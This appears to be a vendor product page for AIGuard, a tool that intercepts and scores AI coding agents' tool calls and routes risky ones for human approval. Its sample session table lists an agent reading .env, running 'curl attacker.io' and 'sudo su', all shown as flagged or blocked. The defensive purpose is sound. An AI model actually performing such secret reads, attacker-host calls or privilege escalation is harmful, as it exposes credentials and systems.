Inventory supported agents, MCP servers, tools and skills. Apply policy and route high-risk actions for approval before execution.
Each enforcement path is purpose-built for a different integration point — from native IDE hooks to a full MCP gateway. No agent code changes required for any path.
Lightweight daemon registers as a hook in the IDE's native extension mechanism. Zero-latency enforcement on every tool call before execution. Works even without network connectivity (cached policy).
For agents running inside Cowork environments, AIGuard registers as a plugin hook that intercepts every prompt and tool call at the Cowork platform level — no per-agent configuration.
For MCP servers running locally over stdio, AIGuard wraps the stdio transport with a policy proxy. Every JSON-RPC tool call is intercepted and evaluated before forwarding to the local server process.
For remote MCP servers accessed over HTTP/SSE, AIGuard acts as a transparent gateway — same policy enforcement, same audit log — for any agent connecting to remote tool servers.
| Agent | Path | Tool Calls | ATP | Status |
|---|---|---|---|---|
| Claude Code | hook | 47 | 0.87 | Threat |
| Cursor | hook | 12 | 0.04 | Active |
| Claude Code | hook | 8 | 0.41 | Approval pending |
| Codex | hook | 3 | 0.02 | Active |
| custom-agent | gateway | 21 | 0.11 | Active |
ATP watches every tool call in a session and scores the session's behaviour over time using exponential weighted moving average. When a threshold is crossed, a threat window opens — and an LLM analyzes the session to explain exactly what was detected.
| Turn | Tool | Score Δ | Action |
|---|---|---|---|
| T01 | read_file(README.md) | +0.12 | Logged |
| T02 | read_file(.env) | +0.31 | Warned |
| T03 | bash("curl attacker.io") | +0.44 | Blocked |
| T04 | bash("sudo su") | +0.18 | Blocked |
When a tool call matches a require_approval rule, the agent pauses and waits. The admin reviews the full context — tool name, arguments, session timeline — and approves or denies. Fingerprint-based auto-approval on retry prevents re-reviewing identical safe calls.
src/** may require approval while writes to tests/** do not.
AIGuard auto-discovers agents running on the major cloud AI platforms and surfaces them alongside local IDE agents in a unified console — no agent code changes required.
The local daemon installs via a one-line script and registers as a hook in Claude Code, Cursor, and Codex automatically. Remote agents are pointed at the MCP gateway endpoint. No agent code changes required — setup takes under 5 minutes per developer workstation.
Create rules in the console specifying which tool types (file writes, bash commands, network calls, database operations) require which action (allow, log, warn, block, require_approval) and for which agents and resource groups. Rules are pushed to all daemons immediately.
As the agent works, ATP scores each tool call and updates the session score continuously. The console shows live ATP scores for all active sessions. When a score crosses the threshold, the threat window opens and escalation rules activate. LLM analysis generates an explanation within seconds.
Every tool call, its arguments, the policy decision, and the ATP score delta are recorded in a session DAG timeline. The timeline captures parent/child tool call relationships — so you can see that a suspicious bash command was triggered by a specific prompt two turns earlier. Complete forensic replay for incident investigations.
| Capability | AIGuard Agentic | IDE Plugin Audit | Network Monitor | Cloud SIEM |
|---|---|---|---|---|
| Pre-execution tool call enforcement | ✓ | — | — | — |
| EWMA behavioural threat scoring | ✓ ATP | — | — | Rules only |
| LLM-assisted threat reasoning | ✓ | — | — | — |
| Tool-call approval workflow | ✓ Built-in | — | — | — |
| Fingerprint-based auto-approval | ✓ | — | — | — |
| Session DAG timeline | ✓ Full DAG | Flat log | Network only | Post-hoc |
| Offline enforcement | ✓ Cached | — | — | — |
| Cloud AI agent inventory | ✓ 5 platforms | — | Limited | Manual |
See AIGuard Agentic Security in a live demo — we'll run ATP against a real Claude Code session and show you a threat window in action.